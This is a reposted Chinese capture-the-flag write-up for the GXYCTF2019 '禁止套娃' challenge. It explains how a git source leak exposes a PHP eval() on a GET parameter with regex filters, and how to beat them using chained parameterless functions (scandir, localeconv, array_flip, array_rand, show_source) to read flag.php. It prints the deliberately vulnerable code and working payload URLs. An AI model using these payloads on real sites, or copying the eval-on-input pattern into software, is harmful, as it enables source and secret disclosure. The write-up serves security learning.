欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

[GXYCTF2019]禁止套娃 无参数RCE

程序员文章站 2022-03-25 08:13:54
...

[GXYCTF2019]禁止套娃 无参数RCE
题目里只有一句话,F12也看不到任何信息,尝试后台扫描,结果也是得不到任何信息。
使用Githack,扫到了有git源码泄漏。
[GXYCTF2019]禁止套娃 无参数RCE

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {  过滤php协议
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

分析源码:

  1. GET方式传入exp参数,若满足条件,则将exp内容当做php代码来执行。
  2. 过滤了data/filter/php/phar伪协议,不能以伪协议直接读取文件。
  3. (?R)引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数。
  4. 正则匹配还过滤了et/na/info等关键字,导致get等很多函数用不了
  5. eval($_GET[‘exp’]); 典型的无参数RCE
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}

当有如上的限制时,我们会发现我们使用参数则无法通过正则的校验。

/[^\W]+\((?R)?\)/

而该正则,正是我们说的无参数函数的校验,其只允许执行如下格式函数

a(b(c()));
a();

但不允许

a('123');

这样一来,失去了参数,我们进行RCE的难度则会大幅上升。
既然getshell基本不可能,那么考虑读源码。看源码,flag应该就在flag.php。我们想办法读取

首先需要得到当前目录下的文件
scandir()函数可以扫描当前目录下的文件,例如:

<?php
print_r(scandir('.'));
?>

但是要如何构造scandir('.'),这里有个‘.’直接传入就相当于还是传入一个参数,exp还是被过滤掉了,所以我们要想个其他的方法代替'.'
这里涉及到一个知识点:
current(localeconv())永远都是个点
localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
current() 返回数组中的当前单元, 默认取第一个值。
pos()是current()的别名。
pos(localeconv())current(localeconv())的结果一样,都是表示'.'
所以这两个函数嵌套使用就是一个'.'

那么我们第一步就解决了:

print_r(scandir(current(localeconv())));
print_r(scandir(pos(localeconv())));

[GXYCTF2019]禁止套娃 无参数RCE
接下来就是如和读取到倒数第二个数组呢?

array_flip():交换数组中的键和值。

[GXYCTF2019]禁止套娃 无参数RCE
此时将键和值做了一下交换,下一步就是如何取出他的键。

array_rand():从数组中随机取出一个或多个单元

[GXYCTF2019]禁止套娃 无参数RCE

最后一个问题,如何读取flag.php的源码。
由于et被过滤掉了,所以不能使用file_get_contents(),但是可以市容readfile()或highlight_file()以及其别名函数show_source()。
有了以上的函数,我们就可以将这些函数组合起来读取flag了。

http://target.com/?exp=show_source(array_rand(array_flip(scandir(pos(localeconv())))));
http://target.com/?exp=highlight_file(array_rand(array_flip(scandir(pos(localeconv())))));

[GXYCTF2019]禁止套娃 无参数RCE
由于是使用array_rand()函数随机取出键值,所以可能需要多刷新几次才能取出flag.php

参考链接:
https://www.cnblogs.com/wangtanzhi/p/12260986.html
https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#%E4%BB%80%E4%B9%88%E6%98%AF%E6%97%A0%E5%8F%82%E6%95%B0%E5%87%BD%E6%95%B0RCE

相关标签: CTF刷题 php